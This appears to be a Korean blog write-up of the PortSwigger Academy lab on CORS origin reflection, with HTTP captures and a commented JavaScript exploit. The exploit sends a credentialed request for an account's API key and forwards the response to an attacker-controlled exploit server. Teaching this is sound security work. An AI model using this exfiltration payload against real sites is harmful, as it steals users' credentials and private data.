subdomain, 신뢰할 수 있는 third party가 서버의 리소스에 접근할 수 있도록 허용하기 위해서 CORS를 사용합니다. 이런 CORS에서 취약점이 발생하는 대부분의 이유는 CORS misconfiguration 입니다.
일부 서버가 여러 도메인에 대한 액세스를 제공해야하는 경우, 허용된 도메인 목록을 적절하게 관리하지 않으면 취약점이 발생할 수 있습니다.
일반적으로 액세스를 허용하기 위한 도메인의 목록을 관리하기 위해서 whitelist 기반으로 허용할 도메인을 판단합니다.
HTTP Request Origin Header로 전달되는 도메인이 whitelist에 포함되어 있으면 HTTP Response ACAO(Access-Control-Allow-Origin) Header에 추가하는 방식으로 도메인의 액세스를 허용합니다.
하지만 많은 도메인 목록 관리의 어려움으로 인해 HTTP Request Origin Header로 전달되는 도메인를 whitelist 검증 없이 HTTP Response ACAO Header 추가하는 방식으로 구현을 하거나, *
을 이용해 모든 도메인의 액세스를 허용하는 경우 취약점이 발생합니다.
다음은 예는 portswigger academy에서 제공하는 LAB - CORS vulnerability with basic origin reflection입니다.
해당 예는 HTTP Request Origin Header를 읽어서 검증 없이 HTTP Response ACAO Header에 추가하는 방식으로 CORS를 구현하여 취약점이 발생합니다.
http://VICTIMSERVER/accountDetails URL에 접근을 하면 HTTP Response에 apikey가 출력되는 것을 확인할 수 있습니다. 또한 HTTP Request Sec-Fetch-Mode Header, HTTP Response ACAO Header를 통해 CORS를 지원하는 것을 확인할 수 있습니다.
GET /accountDetails HTTP/1.1
Host: VICTIMSERVER
...
Sec-Fetch-Dest: empty
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
...
Cookie: session=Zaz3XyDdbHeClpCejjLb18B5CSGY4Hq8
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 89
{
"username": "wiener",
"email": "",
"apikey": "BiokstarCN47FEW9vqF5vlYGghwMf0S8"
}
CORS가 적절하게 구성되어있는지 확인하기 위해 임의의 도메인을 HTTP Request Origin Header에 삽입해서 HTTP Request를 하면, HTTP Response ACAO Header에 임의의 도메인이 추가된 것을 확인할 수 있습니다.
이는 임의의 도메인에서 해당 서버의 리소스에 접근이 가능하다는 것을 의미합니다.
GET /accountDetails HTTP/1.1
Host: VICTIMSERVER
Origin: http://attacker.com
...
Sec-Fetch-Dest: empty
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Cookie: session=Zaz3XyDdbHeClpCejjLb18B5CSGY4Hq8
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://attacker.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 89
{
"username": "wiener",
"email": "",
"apikey": "BiokstarCN47FEW9vqF5vlYGghwMf0S8"
}
LAB - CORS vulnerability with basic origin reflection에서는 LAB에서 제공하는 EXPLOITSERVER를 통해 XHR(XMLHttpRequest)로 accountDetails URL을 요청하면 관리자의 API를 획득할 수 있습니다.
다음과 같은 Exploit Code를 EXPLOITSERVER에 삽입합니다.
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://VICTIMSERVER/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://EXPLOITSERVER/log?
key='+this.responseText;
};
</script>
EXPLOITSERVER를 실행시키면 administrator의 apikey를 획득할 수 있습니다.
GET /exploit/log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%226TW78l4U6VDCjgD8JgtXYMP9agAJqDdd%22}
HTTP/1.1" 404 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"
portswigger academy CORS LAB 문제에서 사용하는 Exploit Code에 대해서 간단한 주석과 의문이 있었던 부분에 대해서 정리해보았습니다.
<script>
var req = new XMLHttpRequest();
// XHR를 위한 객체를 생성합니다.
req.onload = reqListener;
// XHR을 통한 responseText를 값을 획득하기 위해 onload를 사용하여
// HTML의 모든 컨텐츠가 로드된 이후에 reqListener 함수가 동작합니다.
req.open('get','https://VICTIMSERVER',true);
// XHR를 하기위한 속성을 지정합니다.
// (HTTP GET Method, URI, 비동기방식)
req.withCredentials = true;
// 서버는 쿠키값을 사용하므로(Access-Control-Allow-Credentials)
// 클라이언트 측에서 쿠키를 사용하기 위해 해당 값을 true로 지정합니다.
req.send();
// XHR을 진행합니다.
function reqListener() {
location='https://EXPLOITSERVER/log?'+this.responseText;
};
// location에 작성된 URL로 HTTP Get Request를 합니다.
// LAB에서 EXPLOITSERVER에 로그를 남기기 위한 코드입니다.
</script>
Exploit Code를 보며 왜 req.onload = reqListener; 를 사용하는지 이해가 가지 않아, chrome devtool console에서 디버깅을 진행하며, burp suite로 패킷을 캡쳐해서 확인하였습니다.
먼저 req.onload = reqListener; 전까지 실행하면 다음과 같은 HTTP Request가 전달됩니다. accountDetails URL에 요청하고, wiener의 apikey값을 받는 정상적인 요청입니다.
GET /accountDetails HTTP/1.1
Host: VICTIMSERVER
Sec-Fetch-Dest: empty
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
...
Cookie: session=7sNpnzkO5eUFhm8G1WictEqIxfqTYYeO
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 89
{
"username": "wiener",
"email": "",
"apikey": "MvCSjENlyVSZuKdnbzIVunjc6LMkxaCL"
}
하지만 LAB문제에서는 EXPLOITSERVER를 통해서 위의 요청이 실행되기 때문에 VICTIMSERVER로 전달되는 패킷을 확인할 수 없습니다.
아마도 EXPLOITSERVER를 통해서 XHR를 하게 될 경우 VICTIMSERVER에 administrator 계정으로 접근하도록 별도의 설정이 되어 있는 것 같습니다.
이어서 실행되는 req.onload = reqListener;는 다음과 같은 HTTP Request를 전달합니다. HTTP Response로 전달되는 apikey 값을 URL에 추가하여 자기자신에게(EXPLOITSERVER) 다시 전송합니다.
GET /exploit/log?key={%20%20%22username%22:%20%22wiener%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22MvCSjENlyVSZuKdnbzIVunjc6LMkxaCL%22} HTTP/1.1
Host: EXPLOITSERVER
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
HTTP/1.1 404 Not Found
Content-Type: application/json; charset=utf-8
Server: Academy Exploit Server
X-XSS-Protection: 0
Connection: close
Content-Length: 45
"Resource not found - Academy Exploit Server"
마찬가지로 EXPLOITSERVER와 VICTIMSERVER로 전달되는 패킷을 우리가 볼 수 없기 때문에 Log URI를 통해 확인을 할 수 있도록 구성해놓은것 같습니다.
실제로 Server-generated ACAO header from client-specified Origin header를 이용한 공격을 하게 될 경우 EXPLOITSERVER는 공격자가 제어할 수 있는 서버이므로 굳이 Exploit Code의 reqListener함수를 사용하지 않아도 로그를 확인할 수 있습니다.
https://www.w3.org/TR/fetch-metadata/
https://portswigger.net/web-security/cors